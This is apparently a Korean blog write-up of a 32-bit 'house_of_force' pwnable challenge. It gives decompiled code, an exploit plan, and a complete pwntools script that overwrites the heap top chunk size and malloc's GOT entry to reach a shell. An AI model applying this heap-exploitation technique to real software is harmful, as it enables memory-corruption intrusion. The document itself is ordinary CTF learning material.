checksec
32bit
Canary발견되지만 heap문제니까...상관없을듯
Pseudo code
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v5; // [esp+0h] [ebp-10h]
int v6; // [esp+4h] [ebp-Ch]
int v7; // [esp+8h] [ebp-8h]
unsigned int v8; // [esp+Ch] [ebp-4h]
v8 = __readgsdword(0x14u);
v6 = 0;
v7 = 0;
initialize();
while ( 1 )
{
while ( 1 )
{
puts("1. Create");
puts("2. Write");
puts("3. Exit");
printf("> ");
__isoc99_scanf("%d", &v5);
if ( v5 == 2 )
break;
if ( v5 == 3 )
exit(0);
if ( v5 == 1 )
{
v3 = v6++;
create(v3);
++v6;
}
}
if ( v7 )
break;
write_ptr();
++v7;
}
return -1;
}
signed int __cdecl create(signed int a1)
{
size_t size; // [esp+0h] [ebp-8h]
unsigned int v3; // [esp+4h] [ebp-4h]
v3 = __readgsdword(0x14u);
if ( a1 > 10 )
return 0;
printf("Size: ");
__isoc99_scanf("%d", &size);
ptr[a1] = malloc(size);
if ( !ptr[a1] )
return -1;
printf("Data: ");
read(0, ptr[a1], size);
printf("%p: %s\n", ptr[a1], ptr[a1]);
return 0;
}
signed int write_ptr()
{
int v1; // [esp+0h] [ebp-10h]
int v2; // [esp+4h] [ebp-Ch]
int v3; // [esp+8h] [ebp-8h]
unsigned int v4; // [esp+Ch] [ebp-4h]
v4 = __readgsdword(0x14u);
printf("ptr idx: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 10 || v1 < 0 )
return -1;
printf("write idx: ");
__isoc99_scanf("%d", &v2);
if ( v2 > 100 || v2 < 0 )
return -1;
printf("value: ");
__isoc99_scanf("%u", &v3);
*((_DWORD *)ptr[v1] + v2) = v3;
return 0;
}
1번 선택 시, create(a1)함수로 넘어가 순서 사용자로부터 사이즈를 입력받고 해당 사이즈만큼의 heap을 생성한다. 그리고 Data를 입력받아 힙에 저장하고 힙의 주소와 데이터 내용을 출력해보여준다.
>> ptr이라는 배열의 a1번째 인덱스에 힙청크를 할당한다. ptr[a1]에 힙 청크를 할당하고 ptr[a1]가 가리키는 힙청크에 데이터를 쓴다.
2번 선택 시, write_ptr()함수로 넘어가고 ptr index와 write index를 차례로 입력하고 지정한 위치에 저장할 값을 입력받는다.
>> ptr idx(v1)를 입력받아 몇 번째 힙청크를 고를지 선택하고, write idx(v2)를 입력받아 힙청크에 저장된 데이터의 몇 번째 인덱스의 값을 변경할지 선택한다. 그리고 value를 읽어들여 값을 변경한다. 쉽게 생각해서 이차원 배열로 생각해보면 ptr[v1][v2]의 값을 변경하는 것이다. (맞지는 않지만 그냥 단순히 생각해서..)
>> 최소 2개의 heap chunk를 생성하고(1번) 출력되는 주소값을 이용해 top chunk의 주소를 알아내고 top chunk의 size를 2^64 -1 로 조작한다.
[실행]
현재 top_chunk의 주소는 0x804b01c로, 1번 메뉴를 선택해 16byte만큼 할당요청을 한 힙 청크로부터 20byte 떨어져있다. 인덱스로 생각하면 5만큼 떨어져있다.
[익스 시나리오]
1. 1번을 선택해 heap chunk를 생성하고 이 때 출력되는 주소값을 이용해 top chunk의 주소를 계산한다.
2. 2번을 선택해 top chunk의 size를 2^64-1로 조작한다.
3. 특정함수(exit)의 got값을 target address로 해서 함수의 plt 값이 호출되면 덮어쓴 got 주소로 연결될 수 있도록 한다.
from pwn import *
context.log_level = 'debug'
p = process("./house_of_force")
elf = ELF("./house_of_force")
libc = elf.libc
def create(size, data):
p.sendlineafter("> ","1")
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Data: ",data)
def write_ptr(ptr, index, value):
p.sendlineafter("> ", "2")
p.sendlineafter("ptr idx: ", str(ptr))
p.sendlineafter("write idx: ", str(index))
p.sendlineafter("value: ", str(value))
get_shell = elf.symbols['get_shell']
target = elf.got['malloc'] #target
#top_chunk_address
create(0x10, "A"*0x10)
top_chunk = int(p.recv(9), 16) + 5*4
#change
write_ptr(0, 5, 0xffffffff)
size = target - top_chunk - 0x8
create(size, "A"*size)
#gdb.attach(p)
create(4, p32(get_shell))
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(0x10))
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[LOB] gremlin → cobolt (4) | 2021.01.15 |
---|---|
[LOB] gate → gremlin (2) | 2021.01.14 |
[HackCTF] uaf (0) | 2020.09.20 |
first (0) | 2020.09.06 |
[HackCTF] RTC (0) | 2020.08.23 |